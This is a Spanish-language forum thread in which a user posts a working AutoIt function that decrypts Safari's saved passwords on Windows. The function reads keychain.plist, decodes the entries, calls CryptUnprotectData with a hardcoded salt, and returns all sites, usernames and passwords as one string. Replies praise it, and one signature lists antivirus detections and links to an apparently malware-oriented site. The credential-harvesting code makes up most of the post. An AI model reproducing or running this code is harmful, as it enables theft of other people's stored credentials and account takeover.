Hola a todos, por aquí les dejo esta función que he echo para recuperar las contraseñas guardadas del navegador Safari. Este navegador no tiene la opción de guardar las contraseñas marcada por defecto así que el usuario tendría que marcarla por si mismo.

Imagen


El funcionamiento del script esta todo explicado en el post de SecurityExploded (Exposing the Password Secrets of Apple Safari - [Enlace externo eliminado para invitados]) del cual esta basado el código. Lo he testeado en un Windows 7 x64 con la ultima versión del navegador.

La función retorna una cadena delimitada por "//" entre las distintas credenciales y "--" para delimitar el usuario y la contraseña.
Ejemplo de retorno: Web(Usuario)--Contraseña//Web2(Usuario2)--Contraseña2
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function:
	Recupera las contraseñas guardadas en el navegador Safari

 El funcionamiento del script esta todo explicado en el post de SecurityExploded (Exposing the Password Secrets of Apple Safari) del cual esta basado mi codigo.
 http://securityxploded.com/safari-password-secrets.php

 La funcion retorna una cadena delimitada por "//" entre las distintas credenciales y "--" para delimitar el usuario y la contraseña

 Ejemplo de retorno:
	Web(Usuario)--Contraseña//Web2(Usuario2)--Contraseña2

 Saludos ;)

#ce ----------------------------------------------------------------------------

#include <String.au3>

Func SafariRecoveryPasswords()

	Const $SALT = '0x1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108' & _
			'057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91' & _
			'636F6D2E6170706C652E536166617269'
	Const $DATA_BLOB = 'dword cbData;ptr pbData' ;cbData = Tamaño en bytes -- pbData = Puntero hacia los datos.
	Const $OS = @OSVersion

	Local $KeyPath
	If $OS = 'WIN_XP' Then
		$KeyPath = 'C:\Documents and Settings\' & @UserName & '\Application Data\Apple Computer\Preferences\keychain.plist'
	Else
		$KeyPath = 'C:\Users\' & @UserName & '\AppData\Roaming\Apple Computer\Preferences\keychain.plist'
	EndIf

	If FileExists(@TempDir & '\Pass.xml') Then FileDelete(@TempDir & '\Pass.xml')

	ShellExecuteWait(@ProgramFilesDir & '\Safari\Apple Application Support\plutil.exe', '-convert xml1 -s -o ' & @TempDir & '\Pass.xml ' & Chr(34) & $KeyPath & Chr(34), '', '', 0)

	Local $XmlObject = ObjCreate('Msxml2.DOMDocument.3.0')
	$XmlObject.async = 0
	$XmlObject.load(@TempDir & '\Pass.xml')

	Local $XmlElementString = $XmlObject.getElementsByTagName('string')

	If $XmlElementString.length <> 0 Then

		Local $Users = ''
		For $i = 3 To $XmlElementString.length - 1
			$Users &= $XmlElementString.item($i).text & '\\'
			$i += 5
		Next

		Local $XmlElementData = $XmlObject.getElementsByTagName('data')

		Local $PasswordList = ''
		For $i = 0 To $XmlElementData.length - 1

			Local $Base64Element = $XmlObject.createElement('Base64Decode')
			$Base64Element.dataType = 'bin.base64'
			$Base64Element.text = $XmlElementData.item($i).text

			Local $Base64Decode = $Base64Element.nodeTypedValue

			;------------------------------------------------------------------------------------
			;Estructuras para los datos de entrada -- DATA BLOB

			Local $DataInSize = BinaryLen($Base64Decode)

			Local $DataInStruct = DllStructCreate('byte[' & $DataInSize & ']')
			DllStructSetData($DataInStruct, 1, $Base64Decode)

			Local $DataInBlob = DllStructCreate($DATA_BLOB)
			DllStructSetData($DataInBlob, 1, $DataInSize)
			DllStructSetData($DataInBlob, 2, DllStructGetPtr($DataInStruct))

			;------------------------------------------------------------------------------------

			;------------------------------------------------------------------------------------
			;Estructura para la contraseña -- DATA BLOB

			Local $PwdSize = BinaryLen($SALT)

			Local $PwdStruct = DllStructCreate('byte[' & $PwdSize & ']')
			DllStructSetData($PwdStruct, 1, $SALT)

			Local $PwdDataBlob = DllStructCreate($DATA_BLOB)
			DllStructSetData($PwdDataBlob, 1, $PwdSize)
			DllStructSetData($PwdDataBlob, 2, DllStructGetPtr($PwdStruct))

			;------------------------------------------------------------------------------------

			Local $DataOutStruct = DllStructCreate($DATA_BLOB)

			Local $CryptDllOpen = DllOpen('Crypt32.dll')
			Local $UnprotectData = DllCall($CryptDllOpen, 'bool', 'CryptUnprotectData', _
					'struct*', $DataInBlob, _
					'ptr*', 0, _
					'ptr', DllStructGetPtr($PwdDataBlob), _
					'ptr', 0, _
					'ptr', 0, _
					'dword', 0, _
					'struct*', $DataOutStruct)

			If $UnprotectData[0] = False Then Return 0

			Local $PasswordStruct = DllStructCreate('byte[' & DllStructGetData($DataOutStruct, 1) & ']', DllStructGetData($DataOutStruct, 2))
			Local $PasswordHex = StringTrimLeft(Hex(DllStructGetData($PasswordStruct, 1)), 8)

			While StringRight($PasswordHex, 1) = '0'
				$PasswordHex = StringTrimRight($PasswordHex, 1)
			WEnd

			Local $Password = _HexToString($PasswordHex)

			$PasswordList &= $Password & '\\'

		Next

		Local $UserSplit = StringSplit($Users, '\\')
		Local $PassSplit = StringSplit($PasswordList, '\\')

		Local $Return
		For $i = 1 To UBound($UserSplit) - 1
			$Return &= $UserSplit[$i] & '--' & $PassSplit[$i] & '//'
		Next

		Return $Return

	Else

		Return 0

	EndIf

EndFunc   ;==>SafariRecoveryPasswords
Tambien le he echo una GUI para el que la quiera probar.

Imagen


Saludos
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
Skype: naker.noventa
buen aporte naker
666699966999999996699966699999
666699966999999996699966969999
699999966999999996699966996999
666699966999999996699966999699
666699966999999996699966999699
699999996699999966999966996999
699999999669999669999966969999
699999999996666999999966699999
https://reversecodes.wordpress.com

http://indeseables.github.io/
Gracias a todos bros ;)
Pink escribió:gracias bro ta gueno. de seguro existe un archivo para darle a esos checkbox por default.

saludos
Si Pink en eso mismo habia pensado pero todavia no lo he mirado, de todas formas no creo que sea muy complicado.
Saludos

PD: Que algún mod edite el tema no es "Recovery passwords" es "Password recovery" , Gracias.
Skype: naker.noventa
Ya lo he cambiado, te quedaron de lujo bro, sigue así.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Excelente Naker
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
Responder

Volver a “Fuentes”